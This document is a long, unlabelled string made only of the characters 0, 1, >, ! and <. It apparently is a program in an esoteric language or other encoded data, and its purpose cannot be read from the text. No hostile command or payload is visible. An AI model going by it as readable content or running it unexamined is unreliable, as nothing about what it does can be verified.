0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1010>010110>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!<>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1>0>1!1>01010111>0<>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>10110>10110>10110>10110>10110>1!1!1>0>1>0>10110>1!1!1>0>1>0>1!10110>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>010110>10110>1!1>0>1!1>0>1!1>0>1!1!1>01010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1>0>10110>1!<>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!<>10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!<>1>0>10110>10110>1!1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!10110>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1>0>1!10110>10110>10110>1!1!1!1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0><>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0><>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1>0>1!10110>10110>1!1>0>1!1!1>0>1!1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>10110>1!1>0>1>0><>1>0><>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1010>010110>1!1>0>1>0>1!1>01010111>0<>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1!1010>01>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1010>01>0>10110>1!1!1!1!1>0>1!1!1>0><>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1>0>1>01010111>01!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1>0>1!1>0>1>0>10110>1!1!1!1!1>0>1!1>0>1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0><>1>0>1!1>0>1!<>1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1>0>1!10110>10110>1!10110>1!1>0>1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1!10110>1!1!1!1>0>1>0>10110>1!1!<>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!<>10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1!1!<>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1!10110>1!1>0>1>0>1!1!1!1010>01>01010111>01!1>0>1!10110>1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1010>01>01010111>01!1>0>1!10110>1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1>0><>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>01010111>01>0>1!1!1!1!1>0>1!1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0><>1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1!10110>10110>1!1>0>10110>10110>10110>10110>10110>1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1>0>1!1!1>0>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0><>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!<>1!1>0>1>0><><>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1010>01>0>1!1>0>1>0>1!<>1!1>0>1010>01>0>1!1!1!<>1!1!1>0>1!<>1010>01>0>1!1!1!<>1!10110><>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1!10110>1!1>0>1>0>1!1!1!1010>01>01010111>01!1>0>1!10110>1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1010>01>01010111>01!1>0>1!10110>1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0><>1>0>10110>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!10110>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!10110>10110>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>10110>10110>10110>10110>10110>1!1>0>1!1>0>1>0>10110>10110>1!1>0>1!1>0>1>0>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0><>1>0>1!1>0>1!1!1!1>0>10110>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>10110>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!<>10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1!10110>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1>0>1!1>0>10110>10110>1!1>0>1!10110>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1010>01>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1>0><>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!<>1!1!1>0>1!1!1>01010111>0<>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1010>01>0>1!101101010111>01!1>0><>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>10110><>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!10110>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1010>01>0>1!101101010111>01!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>10110>101101010111>01!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>101101010111>10111>01>0>1!1>01010111>01!1!1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!10110>10110>10110>10110>10110>10110>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1!1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1!1!1!1>0>1!1!1>0>1>0>1!10110>1!<>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1010>01>0>1!101101010111>01!1>0>1!1010>01>0>1!1!1!1!1!1!10110>1!10110><>1!1010>01>0>1!<>1!1!10110><1010111>01>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!10110>10110>10110>10110>10110>10110>1!10110>10110>1!1!1!1>0>1!1>0>1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!10110>10110>10110>10110>10110>10110>1!10110>10110>1!10110>1!1>0>1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>10110>1!1!1!1>0>1>0>10110>1!1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1010>01>0>1>0>101101010111>01!1>0>1!1010>01>0><>1!1!1!10110><>1!1010>01>0><>1!1>0>1>0>1!1>0>1!<1010111>01>0>1!1>0>1!1!1!101101010111>10111>01!1!1!1>0>1!1!1!1>0>1>0><>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0><>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>101101010111>01!1!1!1!1>01010111>01!1!1!1>0>1!1!1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1!1010>01>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1010>01>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1!<>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!<>1!1!1!1!1!<>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!10110>10110>10110>10110>10110>10110>1!1>0>1>0>10110>1!1!10110>1!1!1>0>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1!1>01010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1>01010111>0<>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>01010111>01>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!10110>10110>10110>10110>10110>10110>1!10110>10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!<>10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1!1!<>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1>0>1!1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0><>1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1!10110>10110>1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1!1010>01>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1010>01>0>1>0>10110>1!1>0>1!1>0>1!1!1>0><>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!<>1!1!1>0>101101010111>0<>1>0>1!1!1>0>1!1!1!1>0>1!1!1!10110>10110>10110>10110>10110>10110>1!1>0>1>0>10110>1!1!1!1!1>0>10110>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0><>1>0>1!1>01010111>01>0>1!1!1!1>0>1!1!1!1>0><>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!<>10110>10110>1!1>0>1>0>1!1>01010111>01>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1!10110>10110>1!1!1>0>1!1!1!1!1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>101101010111>01>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>10110>1!1>0>1>0>1!<>1!1>0>1>0>10110>1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0><>1!1!1!1010>01>0>1!1!1!1>0>1!1!1!1!10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1!10110>10110>1!1!1>0>1>0>1!1>0>1!1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>1>01010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1!1!1>0>1!1!1>0>1>01010111>0<>1>0>1!1!1>0>1!1!1!1>01010111>01>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>10110>1!1>0>1>0>1!<>1!1>0>1>0>10110>1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>01010111>01!1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0><>1!1!1!1010>01>0>1!1!1!1>0>1!1!1!1!10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1!1>0>10110>10110>1!1!1!1!1>0>1>0>1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1010>01>0>1!101101010111>01!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>101101010111>01!1!1>0>1!1!1>0>1>0>10110><>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>101101010111>10111>01!1!1!1>0>1!1!1!1>0>1>0><>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1010>01>0>1!101101010111>01!1>0>1010>01>0>1!1!<>10110>1!1>0>1>01010111>01010>01>0>1!<>1>0>1!1>0>1>0>1!1>0>1>01010111>10111>01>0>1!1>01010111>01!1>0>1!1>0>1>0>101101010111>10111>01!1!1!1>0>1!1!1!1>0>1>0><>10110>10110>10110>10110>10110>1!1!10110>10110>1!1>0>1!1!1>0>1!1!1>0>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1010>01>0>1!1>0>1>01010111>01!1>01010111>01!1!1>0>1>0>1!1!1>0>1!1!10110>10110>1!1!1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1!1010>01>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>10110>1!1>0>1!1>01010111>01!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>10110>10110>10110>10110>10110>1!1!10110>10110>1!10110>1!1>0>1!1>0>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0><>1>0>1!1>0>1!1!10110>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!<>10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0><>1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!10110>10110>1!1>0>1!1>0>1!10110>10110>1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1!1>0>1>0>10110>1!1!1!1>0>10110>10110>10110>10110>10110>1!1!10110>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>1!1!1!<><>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1>01010111>01>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!<>10110>10110>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1!1010>01>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>01010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1!10110>1!1!<><>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>10110>10110>10110>10110>10110>1!10110>10110>1!1>0>1!1>0>1!1!1!1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1010>01>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!<>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!<>1>0>1!1!1!1!1>01010111>0<>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>01010111>01>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>10110>10110>10110>10110>10110>1!1>0>1>0>10110>10110>1!1!1!1>0>1!1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!<>10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1!1!<>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0><1010111>01!1!1>0><>1>0>1!1>0>1!1!1>0>10110>1!1!1!101101010111>01!1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0><>1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!1!10110>10110>1!1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!101101010111>01>0>1!1!1>01010111>01!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1>0>1!1!<>1!10110>1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1>0>1>0>10110>10110>10110>10110>10110>1!10110>10110>1!1!1!1>0>1>0>1!1>0>1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>10110>1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1!1010>01>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1>0>1!10110>10110>1!1>0>1!1>0>1!1!1>0>1!10110>1!1!1!1>0>1>0>10110>10110>10110>10110>10110>1!10110>10110>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0><><>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>10110>10110>10110>10110>10110>1!10110>10110>1!1>0>1>0>1!10110>1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>010110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!<>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>01010111>01!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!<>10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1>0><>1!1>0>1!10110>1!1!1>0>1>01010111>01!1!1!1>01010111>01!1!1!1010>010110>1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0><>1!1!1!1010>01>0>10110>1!1!1!1!1!10110>10110>1!1>0>1>0>10110>10110>10110>10110>10110>1!10110>10110>1!1!1>0>1!1!1>0>1!1>0>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>10110>1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1!1010>01>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1>0>1!1!10110>10110>1!1>01010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1>01010111>0<>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>10110>10110>10110>10110>10110>1!1>0>1>0>10110>10110>1!1!1!1!1>0>1>0>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!101101010111>01!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1>01010111>01>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>10110>10110>10110>10110>10110>1!1>0>10110>10110>1!1!1>0>1>0>1!1>0>1>0>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!<>10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1010>010110>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1>0><>1!1>0>1!10110>1!1!1>0>1>01010111>01!1!1!1>01010111>01!1!1!1010>010110>1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0><>1!1!1!1!1!1!1!1010>01>0>1!1!1!1!10110>10110>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1!<>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!<>1!1>0>1!1>01010111>0<>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1>0>10110>10110>1!10110>1!1!1!1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!10110>1!1!10110><>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1>01010111>01>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1>0>10110>10110>1!1!1>0>1!1!1>0>1!1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>01010111>01!1>0>1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!<>10110>10110>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1>0>1>01010111>01!1!1!1!1!1!1!1!1!1010>01>0>10110>1!1>0>1>01010111>01!1!1!1>0>10110>1!1!1>0>1!1!<>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!<>1!1!1!1>0>1>0>1!1>0>1